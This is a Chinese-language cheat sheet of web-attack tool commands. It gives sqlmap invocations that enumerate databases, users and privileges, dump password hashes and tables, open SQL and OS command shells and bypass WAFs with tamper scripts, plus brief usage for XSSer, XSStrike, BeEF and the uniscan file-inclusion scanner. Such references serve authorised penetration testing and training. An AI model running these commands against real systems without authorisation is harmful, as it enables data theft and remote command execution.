一、SQL 注入
web 应用或网站在处理用户输入时没有正确过滤和转义特殊字符,导致用户输入被当成 sql 语句执行。
1. sqlmap
自动发现和利用 web 应用中的数据库漏洞
基本功能
对 web 应用中的数据库进行自动化检测、利用和攻击。
- 检测链接地址是否包含SQL注入漏洞
bash
sqlmap -u "URL地址"
sqlmap -u "URL地址" --batch # 启用所有需要手动确认的功能
sqlmap -u "URL地址" --current-user --current-db --batch # 查看当前连接数据库的用户和数据库名
sqlmap -u "URL地址" --is-dba --batch # 判断当前用户是否是 dba 权限
sqlmap -u "URL地址" --privileges --batch # 列举当前用户权限
sqlmap -u "URL地址" --priv-esc--batch # 提权
sqlmap -u "URL地址" --users-batch # 列举所有用户
sqlmap -u "URL地址" --passwords --batch
sqlmap -u "URL地址" --dbs --batch
sqlmap -u "URL地址" -D库名 --tables --batch
sqlmap -u "URL地址" -D库名 -T表名 --columns --batch
sqlmap -u "URL地址" -D库名 -T表名 -C指定列名,指定列名 --dump--batch
sqlmap 执行数据库交互
bash
sqlmap -u "URL地址" --sql-query="查询语句" --batch
sqlmap -u "URL地址" --sql-shell --batch
sqlmap -u "URL地址" --os-cmd=系统命令 --batch
sqlmap -u "URL地址" --os-cmd=系统命令 --batch
POST请求类型的SQL注入
- 方法一
bash
sqlmap -u "URL地址" --data="POST的内容" --batch
sqlmap -u "http://x.x.x.x:8080/WebGoat/SqlInjection/assignment5b" --data="login_count=webgoat&userid=0" --batch --cookie="xxx"
- 方法二
burp suit 拦截数据包,右键单击请求,save item,保存为文件
bash
sqlmap -r 保存的文件 --batch
bash
sqlmap -m 文件地址 # 批量检测
指定 sql 注入的方式
bash
sqlmap -u "URL地址" --technique=E --batch
- E 报错注入
- B 基于布尔的盲注
- U 联合查询
- S 堆叠查询
- T 基于时间的盲注
- Q 仅仅使用内联查询
sqlmap 脚本
借助 sqlmap 脚本绕过 waf 的检测
bash
sqlmap -u "URL地址" --batch --tamper 脚本名
2. JSQL injection
基于 Java 的轻量级 sql 注入引用
bash
apt install jsql-injection
二、XSS
网站安全漏洞,攻击者可以利用其在网站中注入JS客户端代码
1. XSSer
bash
apt install xsser
xsser -u "URL地址" -g '路径和参数'
xsser -u "URL地址" -c爬虫深度 --Cl URL地址
2. XSStrike
bash
pip3 install xsstrike
3. BeEF
利用浏览器中的 xss 漏洞
三、文件包含漏洞
是一种代码注入漏洞,发生在使用了文件包含函数的位置
- 本地文件包含:能够打开并包含本地文件的漏洞
- 远程文件包含:能够打开并包含远程文件的漏洞
uniscan
文件包含漏洞扫描器
bash
apt install uniscan
uniscan -u URL地址 -qweds
检测完在 /usr/share/uniscan/report 目录下生成扫描结果